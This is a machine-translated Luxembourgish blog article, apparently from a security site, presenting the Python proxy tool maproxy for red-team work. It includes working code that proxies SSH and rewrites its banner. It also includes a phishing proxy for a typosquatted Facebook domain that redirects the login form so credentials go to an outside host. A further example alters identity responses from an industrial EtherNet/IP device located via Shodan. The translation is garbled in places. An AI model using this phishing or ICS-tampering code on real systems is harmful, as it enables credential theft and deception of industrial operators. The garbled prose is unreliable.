D'Iwwersetzung vum Artikel gouf um Virowend vum Start vum Cours virbereet
Abstract
Eng Vielfalt vun Aarte vu Sécherheetsbewäertungen, rangéiert vu reegelméissegen Pénétratiounstest a Red Team Operatiounen bis Hacking IoT/ICS Geräter a SCADA, involvéiert d'Aarbecht mat binäre Netzwierkprotokollen, dat heescht, am Wesentlechen d'Netzwierkdaten tëscht dem Client an dem Zil z'ënnerscheeden an z'änneren. Netzverkéier sniffen ass keng schwiereg Aufgab well mir Tools wéi Wireshark, Tcpdump oder Scapy hunn, awer d'Modifikatioun schéngt eng méi Aarbechtsintensiv Aufgab ze sinn well mir eng Aart Interface mussen hunn fir d'Netzwierkdaten ze liesen, ze filteren, z'änneren et op der Flucht a schéckt et zréck an den Zilhost a bal Echtzäit. Ausserdeem wier et ideal wann esou en Tool automatesch mat multiple Parallelverbindungen funktionnéiere kann a mat Scripte personaliséierbar ass.
Enges Daags hunn ech en Tool entdeckt genannt
, d'Dokumentatioun huet mir dat séier kloer gemaach maproxy
- just wat ech brauch. Dëst ass e relativ einfachen, villsäiteger an einfach konfiguréierbare TCP Proxy. Ech hunn dëst Tool op e puer zimlech komplex Uwendungen getest, dorënner ICS-Geräter (déi vill Pakete generéieren) fir ze kucken ob et vill parallele Verbindungen handhaben kann, an d'Tool huet gutt gemaach.
Dësen Artikel wäert Iech d'Veraarbechtung vun Netzwierkdaten op der Flucht virstellen maproxy
.
Iwwersiicht
Tool maproxy
baséiert op Tornado, e populären a reife asynchronen Netzwierk Kader am Python.
Am Allgemengen kann et a verschiddene Modi funktionnéieren:
TCP:TCP
- onverschlësselte TCP Verbindungen;TCP:SSL
иSSL:TCP
- mat een-Manéier Verschlësselung;SSL:SSL
- Zwee-Wee Verschlësselung.
Et kënnt als Bibliothéik. Fir e schnelle Start kënnt Dir Beispilldateien benotzen déi den Haaptgrond reflektéieren
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Fall 1 - einfach bidirektional Proxy
Baséiert op tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Par défaut ProxyServer()
hëlt zwee Argumenter - d'Verbindungsplaz an den Zilhafen. server.listen()
hëlt een Argument - den Hafen fir op déi erakommen Verbindung ze lauschteren.
Ausféierung vum Skript:
# python tcp2tcp.py
Fir den Test auszeféieren, wäerte mir mat engem lokalen SSH Server iwwer eise Proxy Skript verbannen, deen op lauschtert 2222/tcp
port a verbënnt zu engem Standard port 22/tcp
SSH Server:
De Begréissungsbanner informéiert Iech datt eist Beispill Skript den Netzverkéier erfollegräich proxyed huet.
Fall 2 - Datemodifikatioun
Aner Demo Skript logging_proxy.py
ideal fir Interaktioun mat Netzwierkdaten. D'Kommentaren an der Datei beschreiwen d'Klassmethoden déi Dir änneren kënnt fir Äert Zil z'erreechen:
Déi interessantst Saach ass hei:
on_c2p_done_read
- Daten laanscht de Wee vum Client op de Server z'ënnerscheeden;on_p2s_done_read
- ëmgedréint.
Loosst eis probéieren den SSH Banner z'änneren datt de Server op de Client zréckkënnt:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
D'Skript ausféieren:
Wéi Dir kënnt gesinn, gouf de Client täuscht well den SSH Server Numm fir hien geännert gouf «DumnySSH»
.
Fall 3 - Einfach Phishing Websäit
Et ginn endlos Weeër fir dëst Tool ze benotzen. Dës Kéier konzentréiere mer eis op eppes méi praktesch vun der Red Team Operatiounssäit. Loosst eis d'Landung Säit imitéieren m.facebook.com
a benotzt e personaliséierten Domain mat engem bewosst Tippfeeler, zum Beispill, m.facebok.com
. Fir Demonstratiounszwecker, loosst eis just unhuelen datt d'Domain vun eis registréiert ass.
Mir wäerten eng onverschlësselte Netzwierkverbindung mat eisen Affer Proxy an SSL Stream op de Facebook Server opbauen (31.13.81.36
). Fir dëst Beispill ze maachen, musse mir den HTTP-Host-Header ersetzen an de richtege Hostnumm injizéieren, a mir wäerten och d'Äntwertkompressioun ausschalten, sou datt mir einfach op den Inhalt kommen. Schlussendlech ersetzen mir den HTML Form sou datt d'Login Umeldungsinformatiounen un eis geschéckt ginn anstatt de Facebook Server:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/lb/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Als Resultat:
Wéi Dir gesitt, hu mir erfollegräich den urspréngleche Site ersat.
Fall 4 - Porting Ethernet / IP
Ech hu mat industriellen Apparater a Software (ICS / SCADA) fir eng laang Zäit beschäftegt, wéi programméierbar Controller (PLC), I/O Moduler, Drive, Relais, Leederprogramméierungsëmfeld a vill méi. Dëse Fall ass fir déi déi industriell Saachen gär hunn. Hacking esou Léisungen implizéiert aktiv mat Netzwierkprotokoller ze spillen. Am folgende Beispill géif ech gär weisen wéi Dir ICS / SCADA Netzverkéier änneren kann.
Fir dëst braucht Dir déi folgend:
- Network sniffer, zum Beispill, Wireshark;
- Ethernet / IP oder just e SIP Apparat, Dir kënnt et mam Shodan Service fannen;
- Eis Skript baséiert op
maproxy
.
Als éischt kucke mer wéi eng typesch Identifikatiounsreaktioun vum CIP (Common Industrial Protocol) ausgesäit:
Apparat Identifikatioun gëtt mat dem Ethernet / IP Protokoll erreecht, wat eng verstäerkte Versioun vum industrielle Ethernet Protokoll ass, deen Kontrollprotokoller wéi CIP wéckelt. Mir wäerten den markéierten ID Numm änneren deen am Screenshot sichtbar ass "NI-IndComm fir Ethernet" mat eisem Proxy Skript. Mir kéinten de Skript nei benotzen logging_proxy.py
an ähnlech der Klass Method änneren on_p2s_done_read
, well mir wëllen datt en aneren Identitéitsnumm um Client sichtbar ass.
Code:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Am Wesentlechen hu mir zweemol no Apparatidentifikatioun gefrot, déi zweet Äntwert war déi ursprénglech, an déi éischt gouf direkt geännert.
An déi lescht
Menger Meenung no maproxy
E praktescht an einfacht Tool, dat och am Python geschriwwen ass, also gleewen ech datt Dir och dovun profitéiere kënnt. Natierlech ginn et méi komplex Tools fir d'Veraarbechtung an d'Ännerung vun Netzdaten, awer si erfuerderen och méi Opmierksamkeet a ginn normalerweis fir e spezifesche Gebrauchsfall erstallt, z. maproxy
Dir kënnt Är Iddien séier ëmsetzen fir Netzwierkdaten z'ënnerscheeden, well d'Beispill Scripte ganz kloer sinn.
Source: will.com